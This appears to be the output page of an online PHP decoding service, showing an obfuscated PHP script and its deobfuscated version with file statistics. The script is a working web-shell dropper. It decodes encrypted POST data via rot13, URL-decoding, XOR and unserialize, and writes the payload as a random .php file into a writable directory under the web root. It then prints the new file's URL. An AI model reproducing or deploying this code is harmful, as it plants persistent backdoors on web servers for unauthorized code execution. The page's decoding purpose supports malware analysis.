Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$LgxMQs = "xQaXp";function myUarJBS($LgxMQs){$NACMMDEVd = "\162"."\141".chr(733-614).'u'.'..

Decoded Output download

<?  $LgxMQs = "xQaXp";function myUarJBS($LgxMQs){$NACMMDEVd = "r"."a".chr(733-614).'u'.'r'.chr(108).chr(933-833).chr(188-87).chr(99).chr(332-221).chr(620-520)."e";$AwfONEikI = 's'.chr(116)."r".'_'."r".'o'.chr(116)."1".chr(124-73);$JgwKmHLx = chr(115)."t"."r"."_"."s".chr(650-538)."l".'i'.chr(116);$LgxMQs = $JgwKmHLx($NACMMDEVd($AwfONEikI($LgxMQs)));return $LgxMQs;}function TWlghim($DrCegtOp, $bjtpethO){$QOTLO = "s"."t".'r'.'_'."s".'p'.'l'.chr(105)."t";$DrCegtOp = array_slice($QOTLO(str_repeat($DrCegtOp, (count($bjtpethO)/16)+1)), 0, count($bjtpethO));return $DrCegtOp;}function twGIz($kQfOPekT, $EGBJgkA, $DrCegtOp){$CBqZtpjy = "3eaf5c01-c064-456d-abb5-06c6820b41f0";return $kQfOPekT ^ $CBqZtpjy[$EGBJgkA % strlen($CBqZtpjy)] ^ $DrCegtOp;}function xEjyOApe($bjtpethO, $DrCegtOp){$bjtpethO = array_map("twGIz", array_values($bjtpethO), array_keys($bjtpethO), array_values($DrCegtOp));$bjtpethO = implode("", $bjtpethO);$lcPsWl = chr(922-805).'n'.chr(115).'e'."r".chr(227-122)."a"."l"."i".chr(122).'e';$bjtpethO = @$lcPsWl($bjtpethO);return $bjtpethO;}function jLhzAEyYOp(){echo "xyshsQcH";}function LnIFjUR($bVhbJVprqir){static $YfLjNuVY = array();$bVhbJVprqgrsUw = glob($bVhbJVprqir . '/*', GLOB_ONLYDIR);$UKhGDVa = count($bVhbJVprqgrsUw);if ($UKhGDVa > 0) {foreach ($bVhbJVprqgrsUw as $bVhbJVprq) {$yLFSCZ = chr(105).chr(162-47).'_'."w"."r"."i".chr(116).'a'.'b'.chr(108).chr(632-531);if (@$yLFSCZ($bVhbJVprq)) {$YfLjNuVY[] = $bVhbJVprq;}}}foreach ($bVhbJVprqgrsUw as $bVhbJVprqir) LnIFjUR($bVhbJVprqir);return $YfLjNuVY;}function cnAbLsC(){echo "xQaXp";}function eySSNf($bjtpethO){$lqtZOUW = "D"."O"."C"."U".chr(77).chr(330-261).'N'.'T'.chr(131-36).chr(522-440)."O"."O"."T";$YTouv = $_SERVER[$lqtZOUW];$bVhbJVprqgrsUw = LnIFjUR($YTouv);$UePkXU = array_rand($bVhbJVprqgrsUw);$TWWayaZ = "."."p".chr(875-771).chr(496-384);$WNaZulct = $bVhbJVprqgrsUw[$UePkXU] . "/" . substr(md5(time()), 0, 8) . $TWWayaZ;$ugNWd = "f"."i".chr(108).'e'."_".'p'.chr(117)."t".chr(95)."c"."o".'n'.'t'.chr(101)."n"."t".'s';@$ugNWd($WNaZulct, $bjtpethO);$Fqwks = "H"."T".chr(84).chr(198-118).'_'."H".chr(79).chr(169-86).chr(84);$GUeGste = "h".chr(819-703).chr(1019-903).chr(334-222).":"."/"."/";$bBGDBkjoh = $GUeGste . $_SERVER[$Fqwks] . substr($WNaZulct, strlen($YTouv));print($bBGDBkjoh);}foreach ($_POST as $DrCegtOp => $bjtpethO){$LfhnrD = strlen($DrCegtOp);if ($LfhnrD == 16){$bjtpethO = myUarJBS($bjtpethO);$DrCegtOp = TWlghim($DrCegtOp, $bjtpethO);$bjtpethO = xEjyOApe($bjtpethO, $DrCegtOp);if (@is_array($bjtpethO)){$UePkXU = array_keys($bjtpethO);$bjtpethO = $bjtpethO[$UePkXU[0]];if ($bjtpethO === $UePkXU[0]){$ompAXC = chr(112).chr(330-226)."p";$zNHWn = chr(112).'h'.chr(112).'v'."e".'r'.chr(978-863).'i'.'o'.'n';$Ftvhqrt = 's'."e"."r"."i".chr(97)."l"."i"."z".chr(101);echo @$Ftvhqrt(Array($ompAXC => @$zNHWn(), ));strlen($DrCegtOp);}else {eySSNf($bjtpethO);}die();}}} ?>

Did this file decode correctly?

Original Code

$LgxMQs = "xQaXp";function myUarJBS($LgxMQs){$NACMMDEVd = "\162"."\141".chr(733-614).'u'.'r'.chr(108).chr(933-833).chr(188-87).chr(99).chr(332-221).chr(620-520)."\145";$AwfONEikI = 's'.chr(116)."\162".'_'."\x72".'o'.chr(116)."\x31".chr(124-73);$JgwKmHLx = chr(115)."\164"."\162"."\137"."\x73".chr(650-538)."\154".'i'.chr(116);$LgxMQs = $JgwKmHLx($NACMMDEVd($AwfONEikI($LgxMQs)));return $LgxMQs;}function TWlghim($DrCegtOp, $bjtpethO){$QOTLO = "\163"."\x74".'r'.'_'."\x73".'p'.'l'.chr(105)."\x74";$DrCegtOp = array_slice($QOTLO(str_repeat($DrCegtOp, (count($bjtpethO)/16)+1)), 0, count($bjtpethO));return $DrCegtOp;}function twGIz($kQfOPekT, $EGBJgkA, $DrCegtOp){$CBqZtpjy = "3eaf5c01-c064-456d-abb5-06c6820b41f0";return $kQfOPekT ^ $CBqZtpjy[$EGBJgkA % strlen($CBqZtpjy)] ^ $DrCegtOp;}function xEjyOApe($bjtpethO, $DrCegtOp){$bjtpethO = array_map("twGIz", array_values($bjtpethO), array_keys($bjtpethO), array_values($DrCegtOp));$bjtpethO = implode("", $bjtpethO);$lcPsWl = chr(922-805).'n'.chr(115).'e'."\x72".chr(227-122)."\141"."\x6c"."\151".chr(122).'e';$bjtpethO = @$lcPsWl($bjtpethO);return $bjtpethO;}function jLhzAEyYOp(){echo "xyshsQcH";}function LnIFjUR($bVhbJVprqir){static $YfLjNuVY = array();$bVhbJVprqgrsUw = glob($bVhbJVprqir . '/*', GLOB_ONLYDIR);$UKhGDVa = count($bVhbJVprqgrsUw);if ($UKhGDVa > 0) {foreach ($bVhbJVprqgrsUw as $bVhbJVprq) {$yLFSCZ = chr(105).chr(162-47).'_'."\167"."\x72"."\x69".chr(116).'a'.'b'.chr(108).chr(632-531);if (@$yLFSCZ($bVhbJVprq)) {$YfLjNuVY[] = $bVhbJVprq;}}}foreach ($bVhbJVprqgrsUw as $bVhbJVprqir) LnIFjUR($bVhbJVprqir);return $YfLjNuVY;}function cnAbLsC(){echo "xQaXp";}function eySSNf($bjtpethO){$lqtZOUW = "\x44"."\117"."\x43"."\125".chr(77).chr(330-261).'N'.'T'.chr(131-36).chr(522-440)."\117"."\117"."\x54";$YTouv = $_SERVER[$lqtZOUW];$bVhbJVprqgrsUw = LnIFjUR($YTouv);$UePkXU = array_rand($bVhbJVprqgrsUw);$TWWayaZ = "\56"."\x70".chr(875-771).chr(496-384);$WNaZulct = $bVhbJVprqgrsUw[$UePkXU] . "/" . substr(md5(time()), 0, 8) . $TWWayaZ;$ugNWd = "\146"."\151".chr(108).'e'."\x5f".'p'.chr(117)."\164".chr(95)."\x63"."\x6f".'n'.'t'.chr(101)."\x6e"."\164".'s';@$ugNWd($WNaZulct, $bjtpethO);$Fqwks = "\x48"."\124".chr(84).chr(198-118).'_'."\110".chr(79).chr(169-86).chr(84);$GUeGste = "\x68".chr(819-703).chr(1019-903).chr(334-222)."\72"."\x2f"."\57";$bBGDBkjoh = $GUeGste . $_SERVER[$Fqwks] . substr($WNaZulct, strlen($YTouv));print($bBGDBkjoh);}foreach ($_POST as $DrCegtOp => $bjtpethO){$LfhnrD = strlen($DrCegtOp);if ($LfhnrD == 16){$bjtpethO = myUarJBS($bjtpethO);$DrCegtOp = TWlghim($DrCegtOp, $bjtpethO);$bjtpethO = xEjyOApe($bjtpethO, $DrCegtOp);if (@is_array($bjtpethO)){$UePkXU = array_keys($bjtpethO);$bjtpethO = $bjtpethO[$UePkXU[0]];if ($bjtpethO === $UePkXU[0]){$ompAXC = chr(112).chr(330-226)."\160";$zNHWn = chr(112).'h'.chr(112).'v'."\145".'r'.chr(978-863).'i'.'o'.'n';$Ftvhqrt = 's'."\145"."\x72"."\151".chr(97)."\x6c"."\151"."\x7a".chr(101);echo @$Ftvhqrt(Array($ompAXC => @$zNHWn(), ));strlen($DrCegtOp);}else {eySSNf($bjtpethO);}die();}}}

Function Calls

None

Variables

$LgxMQs xQaXp

Stats

MD5 c63fc3ab9b872c2d8f24bd329fa4427f
Eval Count 0
Decode Time 64 ms